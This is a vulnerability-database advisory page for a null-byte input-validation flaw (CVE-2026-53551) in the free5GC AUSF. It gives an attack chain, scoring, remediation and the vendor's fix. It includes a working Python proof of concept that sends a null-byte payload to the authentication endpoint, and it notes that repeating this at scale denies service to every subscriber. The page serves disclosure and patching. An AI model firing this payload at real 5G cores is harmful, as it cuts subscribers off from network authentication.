Skip to main content

free5GC AUSF CVE-2026-53551

| EUVDEUVD-2026-51628 MEDIUM
Improper Input Validation (CWE-20)
2026-07-31 https://github.com/free5gc/free5gc GHSA-qj55-47fp-p62j
6.9
CVSS 4.0 · Vendor: https://github.com/free5gc/free5gc
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Gain access to AUSF SBI network segment
  2. Delivery
    Send POST /nausf-auth/v1/ue-authentications with null bytes in supiOrSuci
  3. Exploit
    AUSF parses JSON without validation
  4. Install
    AUSF embeds raw field into UDM URL path
  5. C2
    net/url.Parse() rejects null byte per RFC 3986
  6. Execute
    AUSF returns HTTP 500 leaking stack trace
  7. Impact
    Repeat at scale to deny all subscriber authentication

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
Exploitation Conditions

The AUSF POST /nausf-auth/v1/ue-authentications endpoint must be network-reachable - no authentication credentials are required (PR:N per CVSS 4.0 vector, consistent with the advisory's explicit 'None required' authentication rating). The default free5GC Docker deployment exposes this endpoint without access controls, making the attack viable against an out-of-box installation with no configuration changes. What limits exploitation in practice: the AUSF SBI interface is typically bound to an internal Docker bridge network (e.g., 172.24.0.0/16 in the reference environment), so an attacker generally requires access to the internal 5G core network segment - achievable via a rogue UE with SBI visibility, a compromised core NF, or a misconfigured network perimeter. The attack does not require a valid subscriber identity; any string with a null byte in the supiOrSuci position triggers the failure. Go's memory safety prevents a process crash, so the service remains running but returns HTTP 500 for each malformed request.

Impact

The vendor-assigned CVSS 4.0 score of 6.9 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L) nominally reflects low availability impact to the vulnerable system, but this understates operational risk for 5G core operators: the AUSF is the sole authentication gateway in a 3GPP 5G SA core, meaning a sustained flood of malformed requests - achievable with the published PoC - can deny authentication to the entire subscriber base served by that network function. The 4.1% trigger rate from fuzzing confirms that sustaining the DoS requires only modest attack volume at the SBI port. No EPSS data was provided; no CISA KEV listing exists in the input data, suggesting this has not yet been confirmed as actively exploited in the wild. The information disclosure side-channel (internal net/url error strings and stack traces in HTTP 500 responses) is a secondary risk enabling backend fingerprinting. The absence of authentication requirements (PR:N, confirmed by both the CVSS 4.0 vector and advisory) and the no-configuration-change prerequisite mean the attacker bar is minimal. For operators running free5GC in production (research networks, private 5G, testbeds), this is a real priority; for default Docker lab deployments on isolated bridges, the practical blast radius depends on who can reach port 8000.

Exploit ScenarioDerived

A publicly available Python PoC (embedded in the vendor advisory) demonstrates a minimal single-request reproduction: an attacker sends POST /nausf-auth/v1/ue-authentications with a JSON body containing ten consecutive null bytes in the supiOrSuci field to the AUSF SBI port. The AUSF parses the request without error, constructs a UDM URL embedding the null bytes, and net/url.Parse() immediately fails, returning HTTP 500 with an internal error message. By automating this at scale - easily achievable given the PoC - an attacker can saturate the AUSF's authentication processing capacity, causing all concurrent subscriber authentication attempts to time out or fail.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 31, 2026

Null byte injection in the free5GC Authentication Server Function (AUSF) v4.2.1 and earlier allows unauthenticated remote attackers to crash Go's URL parser and force HTTP 500 responses on the authentication endpoint, denying authentication service to all legitimate 5G subscribers sharing that AUSF instance. A publicly available Python PoC is included in the vendor's own security advisory, and fuzzing demonstrated a 4.1% trigger rate across nearly 100,000 requests - confirming reliable, scalable exploitation against the default deployment with no special configuration required. No public exploit or CISA KEV listing is confirmed at time of analysis, but the trivially automatable nature of the attack makes it a material risk for 5G core operators.

RemediationAI

Upgrade free5GC to v4.2.2 (https://github.com/free5gc/free5gc/releases/tag/v4.2.2) and the AUSF module to v1.4.5 (https://github.com/free5gc/ausf/releases/tag/v1.4.5), which apply the input validation patch from PR #61 (commit bfc4a10094dbacbd862baa4686829f3fcc06ce1e); this causes the handler to reject malformed supiOrSuci values with HTTP 400 before any URL construction occurs, with no functional impact on well-formed requests. For operators unable to patch immediately, deploy a reverse proxy or API gateway in front of the AUSF SBI port that filters requests containing raw control characters (bytes < 0x20 or 0x7F) in JSON string fields before forwarding; this adds latency but prevents the malformed input from reaching the vulnerable handler. Additionally, restrict network access to the AUSF SBI port (default 8000) via firewall ACLs or Docker network policies to allow connections only from trusted AMF and NRF source addresses, reducing the attack surface from any network-reachable host to authorized core nodes only - note this does not eliminate the vulnerability if a core node is compromised but significantly limits exploitability in practice.

Affected VersionsENISA

Free5GC < 4.2.2
ausf < 1.4.5

Affected Packages

go github.com/free5gc/ausf fix: 1.4.5
go github.com/free5gc/free5gc fix: 4.2.2+incompatible, 4.2.2
euvd ausf fix: 1.4.5
euvd free5gc fix: 4.2.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 4 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exploits a semantic gap between two Go standard library components: encoding/json (RFC 8259-compliant, silently accepts null bytes in string values) and net/url.Parse() (RFC 3986-compliant, rejects control characters including null bytes as illegal in URL paths). The AUSF's POST /nausf-auth/v1/ue-authentications handler accepts a JSON body containing a supiOrSuci field (SUPI = Subscription Permanent Identifier; SUCI = Subscription Concealed Identifier - 3GPP-defined 5G subscriber identity formats), then directly embeds the raw, unvalidated field value into a UDM northbound URL path as GET /nudm-ueau/v1/{supiOrSuci}/security-information/... without invoking url.PathEscape() or any format validation. The CPE identifiers (pkg:go/github.com_free5gc_free5gc, pkg:go/github.com_free5gc_ausf) confirm this is a Go-native 5G core. CWE-20 (Improper Input Validation) is the root cause class: the AUSF trusts JSON-decoded strings at the application boundary rather than enforcing the 3GPP-defined character set for SUPI/SUCI. The fix at commit bfc4a10094dbacbd862baa4686829f3fcc06ce1e (PR #61) gates the handler on validator.IsValidSupi() and validator.IsValidSuci() checks, returning HTTP 400 with a structured ProblemDetails response before URL construction is attempted.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/free5gc/free5gc) PRIMARY 6.9 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
vuln.today AI 8.2 HIGH

Network-accessible, unauthenticated endpoint with no prerequisites; C:L for stack trace disclosure; A:H because sustained flooding saturates the sole authentication path for all subscribers.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE MEDIUM

Primary rating from Vendor (https://github.com/free5gc/free5gc).

CVSS VectorVendor: https://github.com/free5gc/free5gc

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
Jul 31, 2026 - 20:22 NVD
6.9 (MEDIUM)

DescriptionCVE.org

Summary

The free5GC AUSF (Authentication Server Function) does not validate the supiOrSuci field in UE authentication requests. Null bytes (\x00) and other control characters pass through JSON parsing unchanged and are forwarded to the UDM in an unescaped URL path. This causes Go's net/url.Parse() to fail, returning HTTP 500 "System failure" and leaking internal stack traces. An unauthenticated attacker can trigger this at scale-4.1% of special_chars mutations produce HTTP 500-causing denial of service for all subscribers attempting authentication through the affected AUSF. CWE-20 (Improper Input Validation).

---

Details

The vulnerability lies in the AUSF's POST /nausf-auth/v1/ue-authentications handler. The JSON body includes a supiOrSuci field:

json
{"supiOrSuci": "imsi-208930000000031", "servingNetworkName": "...", "authType": "5G_AKA"}

The AUSF parses this JSON (Go's encoding/json accepts null bytes in strings per RFC 8259), then constructs a UDM URL by directly embedding the raw supiOrSuci value:

GET /nudm-ueau/v1/{supiOrSuci}/security-information/...

When supiOrSuci contains null bytes (\x00), the resulting URL is illegal under RFC 3986. Go's net/url.Parse() fails, and the error propagates as an unhandled internal error, returning HTTP 500 with a stack trace in the response body:

{"error":{"status":"INTERNAL_SERVER_ERROR","message":"System failure"}}

The AUSF container log shows: net/url: invalid control character in URL.

Attack chain:

1. Attacker → AUSF: POST {"supiOrSuci": "imsi-\x00...", ...}
2. AUSF: JSON parsed OK (null bytes valid in JSON strings)
3. AUSF → UDM: GET /nudm-ueau/v1/imsi-\x00.../security-information/...
4. UDM: net/url.Parse() fails (\x00 illegal per RFC 3986)
5. AUSF ← UDM: error
6. Attacker ← AUSF: HTTP 500 {"message": "System failure"}

Contrast with C/C++ 5GCs: The same null-byte injection in string fields causes SIGSEGV/SIGABRT in OAI (C++) and Open5GS (C), but "only" HTTP 500 in free5GC (Go). Go's memory safety converts the crash into a recoverable error-the service survives, but the denial is equally effective.

Discovery context: Found via automated 5G SBI fuzzing. The special_chars mutation strategy injected 10 consecutive null bytes into string-valued JSON fields. Across 24h of fuzzing:

StrategyRequestsHTTP 500sTrigger Rate
special_chars98,3044,0214.1%
seed_replay132,4287,9476.0%
grammar_aware30,9446832.2%

100% of HTTP 500s originated from the POST /nausf-auth/v1/ue-authentications endpoint.

PoC

No configuration changes needed. Default free5GC deployment is vulnerable.

python
#!/usr/bin/env python3
import http.client, json

AUSF_HOST = "127.0.0.1"
# Replace with AUSF IP (e.g. 172.24.0.50)
AUSF_PORT = 8000
# Bug: null bytes in supiOrSuci → HTTP 500
body_bug = json.dumps({
    "supiOrSuci": "imsi-\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
    "servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org",
    "authType": "5G_AKA"
})

conn = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5)
conn.request("POST", "/nausf-auth/v1/ue-authentications",
             body=body_bug, headers={"Content-Type": "application/json"})
resp = conn.getresponse()
print(f"Bug:    Status {resp.status}")
# Returns 500
# Contrast: normal SUCI → 404 (expected, UE not found)
body_normal = json.dumps({
    "supiOrSuci": "imsi-208930000000031",
    "servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org",
    "authType": "5G_AKA"
})

conn2 = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5)
conn2.request("POST", "/nausf-auth/v1/ue-authentications",
              body=body_normal, headers={"Content-Type": "application/json"})
resp2 = conn2.getresponse()
print(f"Normal: Status {resp2.status}")
# Returns 404

Run: python3 reproduce.py

Expected fix (input validation + URL escaping):

go
import "regexp"
import "net/url"

var suciRegex = regexp.MustCompile(`^[a-zA-Z0-9\-]+$`)

func validateSUCI(supiOrSuci string) error {
    if strings.ContainsFunc(supiOrSuci, func(r rune) bool {
        return r < 0x20 || r > 0x7e
    }) {
        return fmt.Errorf("SUCI contains illegal characters")
    }
    return nil
}

// URL-escape before constructing UDM request
udmURL := fmt.Sprintf("http://%s/nudm-ueau/v1/%s/security-information/...",
    udmAddr, url.PathEscape(supiOrSuci))

Impact

PropertyValue
AuthenticationNone required (unauthenticated SBI endpoint)
ImpactDenial of Service - AUSF returns HTTP 500 for all authentication requests during attack
Information LeakHTTP 500 response leaks internal net/url.Parse error, enabling backend fingerprinting
Affected versionfree5GC v4.2.2 (latest)
FixValidate supiOrSuci before URL construction; use url.PathEscape()

Environment: Ubuntu 22.04, kernel 6.8.0-110, free5GC Docker containers on bridge network 172.24.0.0/16. NFs deployed: NRF, UDM, UDR, AUSF, AMF, SMF, PCF, NSSF, MongoDB.

Threat Intelligence Overview

EPSS Score
0.4%
Top 65% exploitable
Prevalence
Low
niche open-source 5G core, primarily research labs and private 5G testbeds
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
3
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

54
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +34
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy